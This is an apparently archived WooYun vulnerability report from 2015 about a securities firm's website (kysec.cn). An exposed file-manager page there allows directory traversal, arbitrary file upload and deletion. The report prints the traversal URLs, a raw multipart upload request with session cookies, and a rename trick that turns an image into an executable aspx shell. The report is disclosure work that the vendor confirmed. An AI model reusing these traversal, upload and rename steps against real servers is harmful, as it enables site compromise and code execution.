当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0158259

漏洞标题：开源证券主站存在任意文件上传\目录遍历\文件删除漏洞

相关厂商：开源证券股份有限公司

漏洞作者： 路人甲

提交时间：2015-12-04 15:20

修复时间：2016-01-20 15:50

公开时间：2016-01-20 15:50

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-04： 细节已通知厂商并且等待厂商处理中
2015-12-06： 厂商已经确认，细节仅向厂商公开
2015-12-16： 细节向核心白帽子及相关领域专家公开
2015-12-26： 细节向普通白帽子公开
2016-01-05： 细节向实习白帽子公开
2016-01-20： 细节向公众公开

简要描述：

主站任意文件上传、目录遍历、文件删除漏洞，求20rank可好

详细说明：

主站

QQ截图20151204141110.png


问题文件

http://www.kysec.cn/qk/tools/Main.aspx


QQ截图20151204141142.png


通过该文件管理，你可以
遍历

http://www.kysec.cn/qk/tools/main.aspx?path=/../


QQ截图20151204141251.png


QQ截图20151204141321.png


自己控制path参数，页面上操作经常把路径弄错

漏洞证明：

上传

http://www.kysec.cn/qk/tools/Main.aspx


POST http://www.kysec.cn/qk/tools/Main.aspx?act=upload&path=/../../ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://www.kysec.cn/qk/tools/main.aspx
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df373a190f2e
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Length: 109652
Host: www.kysec.cn
Pragma: no-cache
Cookie: ASP.NET_SessionId=puigaa453f0fbnijb2j4iwrs; IESESSION=alive; CheckCode=49189; Hm_lvt_3769cd6b3049c7525de0689b8999d647=1449191375; Hm_lpvt_3769cd6b3049c7525de0689b8999d647=1449191375; Hm_lvt_23d8bc8b6e07fd4ea07b6ec4e368508e=1449191375; Hm_lpvt_23d8bc8b6e07fd4ea07b6ec4e368508e=1449191375; pgv_pvi=3243404288; pgv_si=s9492864000
-----------------------------7df373a190f2e
Content-Disposition: form-data; name="fileUpload"; filename="C:\Users\Administrator\Desktop\01.jpg"
Content-Type: image/pjpeg
wooyun test
-----------------------------7df373a190f2e
Content-Disposition: form-data; name="btnUpload"
添加
-----------------------------7df373a190f2e--


上传只能传jpg等合法的文件，但是该系统给了我们一个强大的功能，重命名

QQ截图20151204142243.png


QQ截图20151204142304.png


QQ截图20151204142351.png


在页面上执行完rename，页面会跳转到path=/qk/allFiles/../../
不要在意，我们继续把path改回/../../
删除也是一样的道理，他都会跳转，但此时他没删除，我们要手动

http://www.kysec.cn/qk/tools/Main.aspx?act=delete&path=/../../&file=20151241420710.aspx&type=file


QQ截图20151204142704.png


删掉了

QQ截图20151204142814.png


QQ截图20151204142842.png


QQ截图20151204142900.png


QQ截图20151204142924.png


QQ截图20151204142953.png


留个文本证明我来过
http://www.kysec.cn/wooyun.txt

QQ截图20151204143229.png

修复方案：

权限控制，shell我已经自杀了，求20rank

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-12-06 15:48

厂商回复：

确认漏洞存在，感谢@路人甲

最新状态：

暂无

漏洞评价：

评价